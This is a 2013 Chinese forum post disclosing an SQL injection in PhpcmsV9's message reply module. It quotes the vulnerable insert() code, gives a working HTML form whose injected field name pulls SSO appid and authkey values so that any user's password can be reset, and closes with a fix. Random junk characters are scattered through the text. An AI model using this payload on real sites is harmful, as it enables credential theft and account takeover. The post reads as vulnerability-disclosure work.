找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2214|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:
( V- v9 f1 Y" [1 Y
4 {+ U/ Z: |* a. S0 Q: i: X第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。( J0 o% g1 t: g) j  S; F( g

$ c; D' p9 \9 }; g* [! Y$ c明天再更新下一个漏洞。* m; V/ P: m* _. y* X
详细说明:, |$ r/ |3 y3 b9 w% R- J0 Q
在/phpcms9/phpcms/modules/message/index.php中有代码如下:6 v; n8 T+ A# q" t; G1 F; P, o) C

+ J0 y" l- \0 h( S; T" _1 w$messageid = $this->message_db->insert($_POST['info'],true);
9 X2 ?) g1 V% L: D
: m+ t1 u; b4 Q8 l$ \( t8 z" f( N+ {5 E; o* `5 p+ S
insert方法是key value的,代码如下:* t3 a/ R4 r5 m: @/ {

3 V  W: [1 f' a+ ppublic function insert($data, $table, $return_insert_id = false, $replace = false) {
; Q: k% s* [% \                if(!is_array( $data ) || $table == '' || count($data) == 0) {; s; w  K4 a! q
                        return false;
$ R# I; o) @, I5 w$ v* S+ k. P1 j- A                }
! G5 S# `: G& }- @4 @7 P                3 Z( ~3 R6 P. V* E/ u6 x! S
                $fielddata = array_keys($data);5 h1 ]9 L! T# {+ b
                $valuedata = array_values($data);2 O: J5 K; d( _' P9 u4 e
                array_walk($fielddata, array($this, 'add_special_char'));1 V* D, @' d! Q, ~9 M7 M- q9 S
                array_walk($valuedata, array($this, 'escape_string'));' Q; p# z' V& s' s! C7 ^
                9 t7 }) E( \1 N# Q% o3 p+ p" r
                $field = implode (',', $fielddata);
9 U! g# ~' l2 X1 Z8 v& `% K                $value = implode (',', $valuedata);
$ P* a2 B) j/ K! ]* C5 w$ O0 U7 \3 x! N% ]5 M
                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';4 `5 |$ j2 k2 E' u
                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';/ Y  K' O2 i- @7 Y3 o) p' s
                $return = $this->execute($sql);
% n* \2 z" y6 A0 \                return $return_insert_id ? $this->insert_id() : $return;  x* X% Q$ _& ]# ?. X  j9 H/ T
        }
0 j* W) L$ k  S7 G! m* e) f0 J( |& P$ A2 K/ a
* P+ ]' B. D8 n
嗯,很遗憾的是
+ z  U! E0 B. p; l4 H
( H  }' F/ e( t1 J! A9 e; {% d! Barray_walk($fielddata, array($this, 'add_special_char'));* H& n* v) z' \: H. R; o
; \" l. y& i8 K' m. P4 f
1 `* n7 D& U3 v& Y" X
中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。5 p+ c0 ?) a& I9 m# }

) O& q! A: U7 w5 w1 _* d到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。& q" G0 ]$ l* k; W0 f  w6 N
/ G# x+ h. ^. _! T1 ^
漏洞证明:  @' f- w0 e. `* S( ^
读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。9 w/ q  j+ X7 {5 v. V/ j) p& C9 A

# E& j( j$ {* U/ U0 K/ ?4 }3 c4 {6 f. b8 F) t! t* z% [3 Z9 Y1 c
表单如下:用户名什么的得自己改一改。) J% R! a8 p' v% W* y- g8 C
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
, L: R) h- G6 J  T% e7 R( r+ i<table width="100%" cellspacing="0" class="table_form">8 T4 A: _  L; I0 U5 z$ A* d
<tr>- c4 ~" y% @+ G7 Y3 p! j( j
<th>标 题:</th>
8 V! B, E: w: q5 U- L) v<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>/ |& R; ~/ l$ L, T1 P. A+ z
</tr>
" f0 [6 \- x5 D) p5 `, k<tr>
( H& r5 L# k. o& l" [<th>内 容:</th>
. L( D* r" Q  j; `# V" S0 n<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>
- i) H6 J/ Q& r/ ^# a</tr>$ q) C6 P3 k! ~2 v2 M- l5 d  P' Z+ h
<input type="hidden" name="info[replyid]" value="2" /> ( d9 A. ^7 Y& n# h5 O. I
<input type="hidden" name="info[send_to_id]" value="cc" />
7 A' ]6 H, o. l7 ?2 ^+ S<input type="hidden" name="info[send_from_id]" value="hh">& _9 t' S6 N" @' j8 m& ~4 t
<!-- 漏洞的利用重点在这里开始 -->
  @5 n3 B  ~, a, s<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
" X  t4 e) R- `- S9 E<!-- 漏洞的利用重点在这里结束 -->/ J" y. S2 L, P6 F7 |( K* N
<tr>3 {* D9 f1 }: @/ d7 C
<th>验证码:</th>
9 t3 x7 R$ i8 _+ ~3 f$ j<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
2 K% k! c5 E  P; M7 N9 e4 x+ d</tr>2 Y5 ]- {. J) i; a: v
<tr>/ m0 c" e' C+ K# U1 l5 C
<td></td>
2 d- |. e" q7 W6 B! @<td colspan="2"><label>( @- E, M7 i( A( i* K
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
) G/ ^! u; N% G1 M8 W$ [) }$ F</label></td>
7 q0 L: e! p. ]  p7 s: A: I3 S</tr>
* [/ t8 d! w) \</table>5 b9 w9 t. r) N6 R: G5 W
</form># O4 Z: x8 M4 e7 O% T& f
在add_special_char函数内对key做过滤就可以了。0 o: M4 x0 m' ], w$ l
* f) O1 _! k) l& u3 c: B
& {5 Z8 x0 c! G
* H# U/ c+ L! k

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表